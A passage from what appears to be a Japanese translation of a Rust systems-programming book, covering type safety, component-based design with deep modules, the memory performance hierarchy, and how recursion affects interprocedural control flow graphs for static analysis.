  File "<stdin>", line 1, in <module>
TypeError: can't multiply sequence by non-int of type 'str'

高信頼性ソフトウェアにとって、それでは遅すぎます。 テストスイートでカバーされていないコードパスで 1 つの型エラーに遭遇するだけで、サービスの劣化や停止につながります。 静的型システムがない場合、プログラム内のあまり一般的でないパスやテストされていないパスを実行することは、「勘に頼って危険なことをする」のに似ています。 そして、不完全なテストスイートを相手に動的型付けのコードをリファクタリングすると、実際にはそうしたまれなパスを追加している可能性があります。

単に 100% のテストカバレッジを達成すればよいのでは?

大規模プロジェクトで 100% のカバレッジを達成するのは現実的でない場合があります。 たとえ達成できたとしても、プログラムの状態空間(取り得るすべての状態の集合)は、そのカバレッジ(実行された文の集合)と必ずしも相関しません。 つまり、完全なカバレッジでテストに合格しても、本番環境の実行時に型エラーに遭遇する可能性があるということです。

ゴルディロックスな保証の対比

1970 年代、産業用アプリケーション向けのコンパイラは、ほとんど未踏の領域でした。 今日では当然視しているコンパイル時検証の多くは、まだ数十年先の研究成果でした。 コンパイラが十分に高度で、どこで実行時チェックが不要かを把握できなければ、実行時チェックは法外に高コストでした。 したがって、C の 弱い静的型付け は、安全性の強制が控えめであることを意味します。 C の型は暗黙的に変換、すなわちキャストでき、そのため誤って行われることも少なくありません。

弱い型付けは、他の設計上の選択と相まって、壊滅的な量の 未定義動作(UB)2 を許す言語を生み出しました。C プログラムは実行時に予測不能な振る舞いを示すことがあります。 これは、特定のコンパイラ実装の問題ではなく、言語仕様にある「隙間」に起因します。 そして、これらの隙間を後から修正することはできません。私たちが依存している既存の C プログラムを壊してしまう可能性があるからです。

子どもの寓話3にちなんで名付けられた「ゴルディロックスの原理」4は、分野横断的な理解を反映しています。つまり、ある性質について「ちょうどよい量」を最適化したい、ということです。 私たちにとって、その性質は性能制約下での保証です。 3 匹の熊は C、Python、Rust です。 大まかな高レベルの比較を示します。

CPythonRust
型安全か?いいえ(弱い、静的いいえ(強い、動的)はい強い静的
メモリ安全か?いいえはいはい
高速か?はいいいえはい

Python はオプションの静的型付けをサポートしているのでは?

実世界の Python プロジェクトを対象にした査読済みの大規模分析5では、型アノテーションを使用しているのは少数派(3.8%)であり、使用している場合でも型チェックに合格するほど正しく使われていることはまれ(その 3.8% のうち 15%)であり、一般的な型チェッカー(MyPyPyType)は偽陽性を生じる(44〜49% の確率)ことがわかりました。

さらに悪いことに、Python の型チェッカーは互いに意見が食い違うことがよくあります。 オプションの型付けは、コンパイラによって強制される静的型システムの実用的な代替にはなりません。特に高保証の文脈ではなおさらです。

この表では捉えきれないニュアンスが数多くあります。 しかし、型と信頼性に関するこの余談を締めくくるために、この表を使います。

Go はどうですか?

Go は、人気のあるモダンな静的型付けのネイティブコンパイル型プログラミング言語です。 すばらしい並行処理サポートを備えています。 しかし、ガベージコレクションにより、幅広いシステムプログラミングのタスクには適しません。 Go は予測不能な間隔でプログラム全体を「停止」し、メモリをクリーンアップするアルゴリズムを実行しなければなりません。 これは、リアルタイムシステムや低レイテンシシステムでは受け入れられないことがよくあります。

Rust は、変数スコープに基づいて割り当て/解放ロジックを挿入することで、コンパイル時にメモリをうまく扱えるようにします。 その結果、予測可能な性能が得られます。 人気のチャットアプリケーションを開発する Discord は、Go のガベージコレクションがあるサービスの性能目標と両立しないことを発見しました。 同社はレイテンシの急上昇をなくすため、そのサービスを Rust で書き直しました6

要点

機械的なレベルでは、型システムはデータの読み書きを行う仕組みを支えています。 より抽象的なレベルでは、型システムは特定の望ましくない結果が発生しないことを保証します。ただし、プログラマーが型キャストのバグを持ち込まない限りにおいてです。

実行時に型チェックを行う動的型付け言語は、信頼性リスクをもたらします。 以前に探索済みのパスや状態でも、クラッシュや例外が発生する可能性があります。

制限の少ない型キャストが許容される弱い静的型付けも、同様にリスクがあります。 それは UB を引き起こす可能性があります。 その結果には、クラッシュ、不正な結果、セキュリティ脆弱性が含まれます。


  1. 型とプログラミング言語. Benjamin C. Pierce (2002).

  2. 未定義動作:私のコードに何が起きたのか?. Xi Wang, Haogang Chen, Alvin Cheung, Zhihao Jia, Nickolai Zeldovich, M. Frans Kaashoek (2012).

  3. ゴルディロックスと 3 匹の熊. Robert Southey (1837).

  4. ゴルディロックスの原理. Wikipedia (2021)

  5. 実世界における Python 3 の型:2 つの型システムの物語. Ingkarat Rak-amnouykit, Daniel McCrevan, Ana Milanova, Martin Hirzel, Julian Dolby (2020).

  6. Discord が Go から Rust へ移行する理由. Jesse Howarth (2020).

基礎: コンポーネントベース設計

アプリケーションプログラミングインターフェイス(API)には、以下の要素のうち1つ以上が含まれるとします。

  • データ型定義(構造体、列挙型など)
  • 関数宣言
  • 定数
  • リモートのリクエスト-レスポンス形式の仕様。たとえば:
    • REST(Representational State Transfer)1
    • gRPC(Google Remote Procedure Call)2

John Ousterhout3 によると、「深いモジュール」とは、適切に設計された API が、その背後にある氷山のような複雑さを隠蔽、つまり抽象化しているモジュールのことです。

深いモジュールには、多くの場合、コードベースの保守やリファクタリングを容易にするという利点があります。 優れた抽象化は、API を最初に学ぶことや正しく使うことも容易にします。 そのインターフェイスが外部の顧客向けであるか、コードベース内の別のコンポーネント向けであるかを問いません。

複数のコンポーネントを持つ大規模システムの累積的な複雑さを考えると、深さは特に重要になります。

ほとんどの文脈では、モジュールコンポーネントは同義です。 しかし本書では、コンポーネントは1つ以上のモジュールで構成されるものとします。 つまり、コンポーネントはより大きな(複数モジュールから成り得る)部品です。 この違いをより明確にする図を、まもなく見ていきます。

「深いモジュール」の実例は何でしょうか?

Ousterhout は典型例として、ユーザー空間アプリケーションがハードウェア関連および/または特権サービスを要求するための OS の仕組みであるシステムコール3を挙げています。

少数の呼び出しが、たとえば特定の種類で特定のベンダーが製造した物理ハードディスクにファイルを書き込む、といった生々しい詳細を抽象化します。 OS は外部に対して小さく安定した API を提供し、その一方で内部では固有の複雑さを自由に管理できます。

本書の中核となるプロジェクトも、他の多くの動的コレクションと同様に、深いモジュールであると主張できます。 標準ライブラリのコレクションに対する API 互換の代替を提供しつつ、基盤となるデータ構造やメモリ管理戦略の具体的な内容は抽象化しています。

したがって、Rust のモジュールシステムであれ、他の言語における同等の仕組みであれ、何らかのコード編成機能を活用する際の目標は、「深い」モジュールを作成し、それらを「疎」結合のコンポーネントへまとめることです。 つまり、小さな API サーフェスを通じて豊富な機能を提供する、十分に分離された部品を意味します。

一般に、このアプローチにより、新しいチームメンバーにとって扱いやすく、全員にとって改善しやすいコードベースになります。 つまり、火消しに費やす時間が減り、新機能を出荷する時間が増えるということです。 そして、複雑さを抑制することで、セキュリティと信頼性のリスクも低減できます。

効果的なコンポーネント化

深さは自然と、結合度を最小化し、凝集度を最大化する傾向があります。定義は次のとおりです4

  • 結合度: API 間の相互依存性の尺度。

    • 例: 公開シグネチャで同じカスタムデータ型に相互依存していること。または、非公開のグローバル共有状態。
  • 凝集度: API の個々の要素間にある共通性の尺度。

    • 例: モジュールが公開する関数には、互いに明確な論理的関係があるか? そうであれば、そのモジュールは高い凝集度を持ちます。

低結合・高凝集のコンポーネントは一般に望ましいものですが、常に実用的であるとは限りません。 たとえば、機能を集中化した部品は、より高速なアルゴリズムやよりセキュアな実装へ置き換えやすくなります。 しかし、集中化は結合度を高めることもあります。

同様に、過度に具体的な API は将来に備えにくく、新しい要件が破壊的変更を意味する場合があります。 しかし、API が汎用的すぎると、凝集度を下げることなく現在の具体的なニーズを満たすために、煩雑なラッパーが必要になる可能性が高くなります。

コンポーネントベース設計の可視化

モジュールの公開 API が少なく単純なコンポーネントは、多くの場合、安定性の負担が少なく、誤用される可能性も低くなります。 そのようなコンポーネントは、大規模で野心的な複数コンポーネントシステムをより効果的に構成する助けになります。

視覚的には、これは、コンポーネントが互いの内部を公開し、それに依存する脆弱なシステムから離れることを意味します。

脆弱: 高く複雑な結合を持つ浅いコンポーネント。

そして、(同じ機能を提供しながら)内部の複雑さを抽象化する俊敏なシステムへ向かうことを意味します。

俊敏: 低く疎な結合を持つ深いコンポーネント。

ここで「俊敏」とは、オンボーディング、拡張、リファクタリングが容易なコードベースを意味します。 ソフトウェア開発フレームワーク群の総称である Agile5 ではありません。

どちらの設計でも、各コンポーネント内のモジュール数(6)は変わっていないことに注意してください。 機能を削除しているのではなく、外部向けの複雑さだけを取り除いているのです。 エンドユーザーの認知負荷は軽減されます。 総「作業量」は変わりません。

計画と反復の重要性

複雑さは、生産性とセキュリティの両方の敵です。 しかし、本番環境に到達する機能の最初のイテレーションが、洗練されて作り込まれたものになるとは限りません。 ほとんどの商業的文脈では、完璧を目指すことは現実的ではありません。

その代わりに、最初のバージョンを適切に設計されたものにすることを目指せます。 それは、組織やチームの現在の品質基準を水準として使うことを意味するかもしれません。 そして、期限内に提供しつつ、その水準を少し高く押し上げるよう努めることです。

初期アーキテクチャが、そのシステムのライフサイクル全体を通じて固定されてしまうものになることもあります。 したがって、前もって設計時間を確保することは、大きな見返りを生む可能性があります。 本番インフラストラクチャでは、その結果として、障害や侵害に関する午前3時の電話の件数を減らせるかもしれません。 しかし、平均的なケースである計画保守も、適切に設計されたシステムでは低コストになります。

高価値なシステムにとって最良の設計は、ほとんど常に反復の結果です。 既存システムを大幅にリファクタリングする機会、または後継システムをゼロから作成する機会がある場合、得られた教訓を適用できます。 したがって、今日の時点で抜本的な変更を正当化できないとしても、現在の制約を明日のために記録しておく価値はあります。

まとめ

低複雑度のシステムは、より信頼性が高く、保守しやすく、セキュアである傾向があります。 複雑さを抑制するには、通常、低結合・高凝集を目指して設計することを意味します。 深いモジュールは、この両方の目標に適しています。


  1. REST API とは?. RedHat(2020)。

  2. コア概念、アーキテクチャ、ライフサイクル. Google(2022年アクセス)。

  3. [個人的なお気に入り] ソフトウェア設計の哲学. John Ousterhout(2021)。 ↩2

  4. [個人的なお気に入り] Effective C: プロフェッショナル C プログラミング入門. Robert Seacord(2020)。

  5. Agile とは?. Agile Alliance(2022年アクセス)。

基礎: メモリ階層

ほとんどのプログラマーは、自分たちの下にあるハードウェアとやり取りする際の生々しい詳細を意識していません。 それは意図された設計です。 これは、数十年にわたるソフトウェアとハードウェアの共進化の結果です。

素朴な print 文を考えてみましょう。 前回、フォーマット済みの出力をコンソールに出力したとき、おそらく次のことを考える必要はなかったはずです。

  • 文字デバイス用のバッファをフラッシュすること(ベンダー固有のハードウェアに対する OS ソフトウェアの「接着剤」抽象化)。

  • Universal Asynchronous Receiver/Transmitter(UART1)プロトコルにおけるパリティビットの動作の複雑さ(物理伝送媒体向けのエンコーディング)。

これらは、日々の開発の大半で考慮する必要があるべきではない細部です。 メモリハードウェア技術も同様に、あなたから大部分が抽象化されているものです。 たいていの場合、コンピューターは、どのようなコンピューターであっても、2 つの異なる部分からなる複合体だと考えることができます。

  1. コンパイル済みバイナリから命令をフェッチし、デコードし、実行する Central Processing Unit(CPU)

  2. CPU が読み取る命令と、CPU が処理するデータを保持する単一のメモリシステム

この単純な 2 部構成の概念化では、メモリは個別にアドレス指定でき、定数時間でアクセスできるバイトの線形配列にすぎません。 しかし、それは現実ではありません。

ソフトウェアの観点から「メモリ」と考えているものは、実際には、異なる価格帯でさまざまな速度と容量を提供するハードウェア技術の異種混合です。 そして、それはシステムソフトウェアに影響を及ぼし得ます。

システムプログラマーとして下す判断によって、プログラムの実行中にどの特定の種類のストレージハードウェアが利用されるかが決まります。 そして、このハードウェアの特性は、プログラムの速度に重大な影響を与える可能性があります。 したがって、メモリについての議論は、その物理的な現実、すなわち現代のストレージ技術の性能階層に基づける必要があります。

正当に評価すべきところ

この章の内容は、Computer Systems: A Programmer’s Perspective2 から大きな影響を受けています。

同書の著者である Carnegie Mellon University の教授たちは、学部向け CS 科目の教材としてこの本を使用しています。科目番号は 15-213 で、「CMU に zip を与える科目」と親しみを込めて呼ばれています。15213 は大学が所在する ZIP コードであり、またこの科目が同大学の中核的な CS カリキュラムにおいて非常に基礎的なものだからです。

CS:APP は評価の高いテキストであり、コンピューターアーキテクチャとオペレーティングシステムの両方に対する詳細な入門書です。 強くお勧めします。

メモリ性能階層

現代のメモリ技術は、明確な階層的ティアに整理できます。

  • 上位ティアは信じられないほど高速ですが、同時にバイトあたりのコストが信じられないほど高価です。これらは希少なリソースです。その結果、格納できるデータ量は限られます。

  • 下位ティアは相対的に低速ですが、同時にバイトあたりのコストが相対的に安価です。これらは豊富なリソースであり、大量のデータを自由に格納できます。

次の内訳を見てみましょう。

ストレージ技術ストレージ単位アクセス時間(ナノ秒) 3明示的な API?
CPU レジスターレジスターあたり 4〜8 バイト1 nsいいえ
SRAM キャッシュキロバイト、メガバイト1〜4 ns(L1 から L24いいえ
DRAMギガバイト100 nsはい、スタックとヒープ
ローカルディスクギガバイト、テラバイト16,000〜4,000,000 ns(SSD 読み取りから HDD シーク5はい。ただし DRAM が枯渇した場合(スワップ)を除く
リモートストレージ該当なし、無制限15,0000,000 ns(California と Netherlands 間のパケット RTT6はい、ネットワーキング
  • CPU レジスター: 命令の実行時に直接アクセスされる(例: 0 CPU サイクル2)レジスターは、階層の最上位に位置します。

    • レジスター割り付けは、ターゲットマシンの Application Binary Interface(ABI)7 に従って、コンパイラーによって処理されます。インラインアセンブリ8(アーキテクチャ固有の命令を Rust ソースコードに混在させること)を書いていない限り、レジスターの使用を直接制御することはありません。
  • SRAM キャッシュ: CPU に組み込まれた小さなメモリバンクで、レジスターの動作に物理的に近い位置にあります。4〜75 CPU サイクルでアクセスできます2

    • コードが必要とするデータがどの程度頻繁にキャッシュ内に存在するか(別名「キャッシュヒット率」)は、コードの書き方の副作用ですが、API 呼び出しで明示的に制御できるものではありません。データ指向プログラミング9 は、CPU キャッシュを最適に利用するようにプログラムを構造化することを扱います。
  • DRAM: メインメモリであり、ほとんどのシステムプログラミングにとって最適な位置にあります。数百サイクルでアクセスできます2

    • 多くの場合、メインメモリのどの領域を使用するかを明示的に制御できます。具体的には、データがスタック、ヒープ、静的メモリ、あるいは「メモリマップト」ファイルに格納されるかどうか、といった場所です。各選択肢には性能上の含意があります。あなたはすでにスタックのみのプログラムを書いています。第 2 章の RC4 実装では #![no_std] 属性を指定しました。
  • ローカルディスク: プログラムの実行間やマシンの再起動をまたいで永続する長期ストレージです。数千万サイクルでアクセスされるため2、上位レベルと比較して大きなペナルティがあります。

    • ローカルディスクストレージとのやり取りは、通常、ファイルを開く、読み取る、または書き込むために明示的な API を呼び出すことを意味します。ただし、利用可能なすべての DRAM が現在使用中の場合は例外です。その場合、OS は舞台裏でプログラムデータをローカルの二次ストレージへ、またはそこから ページング10 することを強いられます。
  • リモートディスク: 物理的に別のマシン上にある長期ストレージで、プログラムを実行しているホストとはネットワーク経由で接続されています。アクセスレイテンシは CPU サイクルでは測定することすらできません。関与する予測不能な要因(プロトコル、物理的距離、ネットワーク輻輳など)が多すぎるためです。上の表では、便宜上ナノ秒単位の推定値3を使用しています。

    • リモートマシンから、またはリモートマシンへ暗黙的にデータをダウンロード/アップロードする方法はありません。ネットワーキング API を直接または間接的に呼び出す必要があります。

現代のオペレーティングシステムにおけるメモリ管理

ページング方式10は、仮想メモリ(OS によって管理される DRAM の抽象化)を実装する方法の一部です。 これは多くの含意を持つ複雑なトピックであり、徹底的に掘り下げるには CS:APP2 の第9章をおすすめします。 要約すると、仮想メモリは次の3つの利点を提供すると考えられます。

  • メモリの単純化された見方: 各プロセスには、物理メモリ上のどこに実際にマップされているか、またそれらのマッピングの一部が別のプロセスと共有されているかどうかに関係なく、実行用の一様な線形仮想アドレス空間が与えられます。

  • アドレス空間の分離: OS は各プロセスのアドレス空間間の分離を強制でき、あるプロセスが別のプロセスを破壊することを防ぎます。同様に、ユーザー空間アプリケーション(例: あなたのプログラム)はカーネル空間(例: OS 内部)にアクセスできません。

  • キャッシュによる効率化: メインメモリ(システム DRAM)がディスク上のファイルのキャッシュとして機能できるようにし、アクティブな項目へより高速にアクセスできるようにし、DRAM とディスク間の双方向の転送(ページング)を管理します。OS が移動できるデータの最小単位は 1 ページ(通常は 4 kB)です。

わかった、しかしこれらすべての実用上の含意は何か?

異なる種類のメモリハードウェアは、パフォーマンスに大きな影響を与えます。 場合によっては桁違いです。 したがって、既知の最速アルゴリズムを選んだと仮定すると、次の2つの事実を念頭に置くべきです。

  • ディスクおよび/またはネットワーク I/O は高コストだが明示的です。 メモリ性能階層の下位2段ははるかに低速ですが、少なくともその使用は意識的に制御できます。

    • ファイル I/O とネットワーク I/O は低速であることに加え、失敗する可能性があります。ファイルは移動されていたり、権限が変更されていたりするかもしれません。リモートサーバーは一時的または恒久的にアクセス不能になる可能性があります。これらのケースを処理するためのロジックは、エラーを伝播するにせよ、代替パス/ホストを再試行するにせよ、パフォーマンスコストをさらに悪化させます。
  • キャッシュ最適化は差別化要因になり得ます。 Rust の BTreeSet11BTreeMap12、つまり私たちが代替を構築する標準ライブラリのコレクションは、SRAM キャッシュ効率を最大化するように特別に設計されています。どちらも非常に高性能です。

    • 余談ですが、C++ と Java の標準ライブラリはいずれも Red-Black Tree を使用しています。B-tree は、ファイルシステムやデータベースのユースケースでより一般的です。

    • 私たちのライブラリの最適化は、階層の別のレベルである DRAM を対象とします。インデックスベースのアロケータパターン(第6章で導入)を使用して、コードが stack DRAM のみを使用することを保証します。その結果として、組み込み環境での移植性が得られます。

なぜ「既知の最速アルゴリズム」という但し書きがあるのか?

アルゴリズムは通常、実行を支える物理メモリの種類よりもはるかに大きなパフォーマンスへの影響を持ちます。

線形時間で解ける問題に対して二次時間の解法を実装してしまうと、どれほど SRAM の局所性があっても補うことはできません。 後者の解法の方が、いずれにせよはるかに優れたスケーラビリティを持ちます。

アルゴリズム計算量の基礎については第7章で説明します。

要点

私たちはメモリを単なるバイトの線形配列だと信じたいところですが、現実にはそれはコストとパフォーマンスのトレードオフを行うハードウェアの階層です。 このメモリの物理的な見方は基礎的なものです。

しかし、日々のシステムプログラミングでより関心があるのは、メモリの論理的な見方、すなわちスタックフレームとヒープバッファの管理です。 それらは DRAM に格納されます。 本書のすべてのコードを私たちが見る際の抽象化はこれです。


  1. UART 通信の基礎。Scott Campbell(2022年アクセス)。

  2. [個人的なお気に入り] Computer Systems: A Programmer’s Perspective。Randal Bryant、David O’Hallaron(2015)。 ↩2 ↩3 ↩4 ↩5 ↩6

  3. ORIE 6125: 第8週 - コンピューターアーキテクチャ。Cornell University(2022年アクセス)。 ↩2

  4. マルチレベルキャッシュ。Wikipedia(2022年アクセス)。

  5. ソリッドステートドライブ(SSD)とハードディスクドライブ(HDD)は、2つの二次ストレージ技術です。前者はより高速な読み取り速度と書き込み速度を提供します。

  6. この文脈における Round Trip Time(RTT)は、パケットが宛先に到達し、確認応答が戻ってくるまでにかかる時間です。

  7. アプリケーションバイナリインターフェイス。Wikipedia(2022年アクセス)。

  8. nightly で利用可能になった新しいインラインアセンブリ構文。Josh Triplett(2020)。

  9. Rust によるデータ指向設計の入門。James McMurray(2020)。

  10. ページング。OSDev Wiki(2022年アクセス)。 ↩2

  11. 構造体 std::collections::BTreeSet。The Rust Team(2022年アクセス)。

  12. 構造体 std::collections::BTreeMap。The Rust Team(2022年アクセス)。

手続き間制御フローグラフ(ICFG)

可能であれば、パターンによってバグのカテゴリを排除することは、静的な保証にとって理想的です。 これは、第4章第2節でスタック安全性と MISRA C 17.21(「再帰なし」)を調べたときに見ました。

再帰は、より一般的なケース、つまり任意の静的解析および/または検証ツールにどのような影響を与えるのでしょうか?

技術的には、場合によります。 現実的には、多くの有用なツールは静的な**手続き間制御フローグラフ(ICFG)**を構築する必要があります。 これは、一般的な解析アルゴリズムがその上で実行される「バックボーン」だからです。 また、可能なすべての呼び出しシーケンスを理解することで、可能なすべての実行について判断できることが多いからです。

複雑さが増していく 3 つの ICFG を考えてみます。 まず、第4.2章の MISRA C 17.2 互換の反復プログラムです。

反復プログラムの ICFG - 有向非巡回グラフ(DAG)

  • これは**有向非巡回グラフ(DAG)**です。解析の作者にとって、このグラフは特定のアルゴリズムや可能性を有効にします。

    • 例: トポロジカルソート2。これはタスクの有効なシーケンスを表すために使用できますが、DAG を必要とします。

次に、最初の再帰版(これも 4.2 から)です。

再帰プログラムの ICFG - 有向グラフ(DG)

  • これは**有向グラフ(DG)**です。一部の解析の作者にとっては、問題が難しくなったということです。過剰近似(偽陽性を許容)を強いられたり、保証を緩和したり(より弱い解析)する必要があるかもしれません。

    • 例: プログラムの最悪時スタック使用量の静的計算。

相互再帰もあります。これは、2 つ以上の関数が互いを呼び出すものです。 ここでは、先ほどの再帰版のさらに望ましくないバリエーションと考えることにします。

相互再帰プログラムの ICFG - 有向グラフ(DG)のバリエーション。

DAG と DG の比較は、意図的に曖昧にしています。静的アナライザー全体について何らかの主張を行うことは実際にはできません。おそらく、数百のユースケースに対応する数千もの静的アナライザーが存在します。 しかし、直感を養う助けにはなります。 これらのグラフを走査するロジックを書くことを想像してみてください。DAG は例外的なケースを回避します。

要点

再帰は、実行時のメモリ枯渇だけの問題ではありません。 再帰はプログラムの手続き間制御フローグラフ(ICFG)に影響を与え、一般的に静的解析を妨げます。


  1. MISRA C: 2012 Guidelines for the use of the C language in critical systems (3rd edition). MISRA (2019).

  2. トポロジカルソート. Wikipedia(2023年アクセス)。